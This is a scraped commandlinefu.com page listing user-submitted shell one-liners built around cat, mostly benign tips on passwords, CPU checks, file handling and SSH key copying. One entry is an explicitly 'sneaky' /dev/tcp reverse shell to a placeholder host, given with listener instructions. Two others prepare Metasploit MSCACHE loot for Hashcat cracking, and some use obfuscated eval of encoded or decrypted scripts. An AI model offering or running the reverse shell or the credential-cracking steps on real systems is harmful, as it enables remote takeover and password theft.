Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands using cat from sorted by
Terminal - Commands using cat - 417 results
echo "ls" > script.bash; gpg -c script.bash; cat script.bash.gpg | gpg -d --no-mdc-warning | bash
2013-03-10 09:34:12
User: betsubetsu
Functions: cat echo gpg
-2

echo "ls" > script.bash;

This is my script, a simple 'ls'.

gpg -c script.bash;

Here I encrypt and passord-protect my script. This creates file script.bash.gpg.

cat script.bash.gpg | gpg -d --no-mdc-warning | bash

Here I open file script.bash.gpg, decrypt it and execute it.

read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
2013-03-10 08:59:45
User: rodolfoap
Functions: cat chmod echo gpg read sed wc
5

(Please see sample output for usage)

Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.:

myscript --> myscript.crypt

You can execute myscript.crypt only if you know the password. If you die, your script dies with you.

If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string).

Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner.

Sorry for the chmod on parentheses, I dont like "-" at the end.

Thanks flatcap for the subshell abbreviation to /dev/null

cat item_list | xargs -n1 -P<n> process_item
cat /proc/cpuinfo | grep " lm " > /dev/null && echo 64 bits || echo 32 bits
2013-02-11 22:54:26
User: agd
Functions: cat echo grep
1

CPU flags:

rm --> 16-bit processor (real mode)

tm --> 32-bit processor (? mode)

lm --> 64-bit processor (long mode)

if [[ lm = $(cat /proc/cpuinfo | grep " lm ") ]] ; then echo "64 bits" ; else echo "32 bits" ; fi
2013-02-11 22:40:46
User: agd
Functions: cat echo grep
-4

CPU flags:

rm --> 16-bit processor (real mode)

tm --> 32-bit processor (? mode)

lm --> 64-bit processor (long mode)

find . -type f -name "*.txt" | while read; do (($(cat $THISFILE | wc -l) < 10)) && rm -vf "$THISFILE"; done
dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F
2013-01-31 01:38:30
User: rodolfoap
5

This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it.

USAGE: SEE SAMPLE OUTPUT

The file is composed of three parts:

a) The legible script (about 242 bytes)

b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242)

c) The actual filesystem

Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option.

PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :)

It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file.

The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables.

for i in {a..z}; do echo $(cat ~/.bash_history | grep ^$i.* | wc -l) $i; done | sort -n -r
2013-01-23 18:59:13
User: yaMatt
Functions: cat echo grep sort wc
0

Kind of fun if you're that was inclined. I figured most of my commands start with s. sudo, screen, ssh etc. This script tells me what else they start with.

cat somefile | tee >(openssl md5 > sum.md5) | bzip2 > somefile.bz2
cat *mscache* | awk -F '"' '{print $4":"$2}'
2013-01-06 06:54:57
User: mubix
Functions: awk cat
0

Convert Metasploit?s MSCACHE output to Hashcat version (performed in ~/.msf4/loot/):

cat list.txt | pax -wd > archive.tar
cat /dev/zero | pv -L 3m -Ss 100m > /dev/null
2012-12-15 10:17:52
User: bugmenot
Functions: cat
2

This example will close the pipe after transferring 100MB at a speed of 3MB per second.

cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'
cat myfile | tee dest1 dest2 > /dev/null 2>&1
while sleep 1; do clear; cat /tmp/whatever.cue; done
cd ~/.msf4/loot && cat *mscache* | cut -d '"' -f 2,4 | sed s/\"/\:/g | tr -cd '\11\12\40-\176' | grep -v Username | cut -d : -f 1,2 | awk -F':' '{print $2,$1}' | sed 's/ /:/g' > final.dcc.hash
cat dump.sql | sed -n -e '/Table structure for table .table1./,/Table structure for table .table2./p'
2012-11-22 23:54:04
User: infojunkie
Functions: cat sed
Tags: mysql sed
-1

Given a dump.sql file, extract table1 creation and data commands. table2 is the one following table1 in the dump file. You can also use the same idea to extract several consecutive tables.

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read
7

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

genpassdeep() { cat /dev/urandom | tr -dc [:alnum:] | head -c64 | whirlpooldeep; echo; }
2012-11-11 19:19:29
User: malathion
Functions: cat head tr
-2

/dev/urandom relies on operator input to set the random seed. By itself, this may not contain enough random bits to produce high entropy output, especially if the system was recently restarted. Therefore, key stretching through a hash reduces the risk of using low-entropy output as a security key.

diff -u <(ssh -t user@host1 sudo cat /dir1/file1) <(ssh -t user@host2 sudo cat /dir2/file2)
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 18 | head -1 | python -c "import sys,crypt; stdin=sys.stdin.readline().rstrip('\n'); print stdin;print crypt.crypt(stdin)"
2012-11-09 00:40:22
User: cnyg
Functions: cat fold head python tr
1

Generate a 18 character password from character set a-zA-Z0-9 from /dev/urandom, pipe the output to Python which prints the password on standard out and in crypt sha512 form.

genpassdeep() { cat /dev/urandom | tr -dc [:alnum:] | head -c64 | sha256deep; echo; }
2012-11-09 00:33:22
User: malathion
Functions: cat head tr
-1

/dev/urandom relies on operator input to set the random seed. By itself, this may not contain enough random bits to produce high entropy output, especially if the system was recently restarted. Therefore, key stretching through a hash reduces the risk of using low-entropy output as a security key.

cat file.txt | grep -v /$ > newfile.txt
cat .ssh/id_dsa.pub | ssh <HOST> "mkdir -p .ssh && tee -a .ssh/authorized_keys"